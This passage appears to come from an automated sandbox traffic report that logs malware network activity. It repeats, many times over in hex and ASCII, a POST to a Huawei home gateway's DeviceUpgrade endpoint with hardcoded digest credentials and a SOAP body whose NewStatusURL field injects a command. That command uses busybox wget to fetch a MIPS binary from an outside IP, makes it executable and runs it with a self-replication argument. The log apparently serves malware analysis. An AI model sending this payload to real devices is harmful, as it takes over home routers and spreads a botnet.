75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 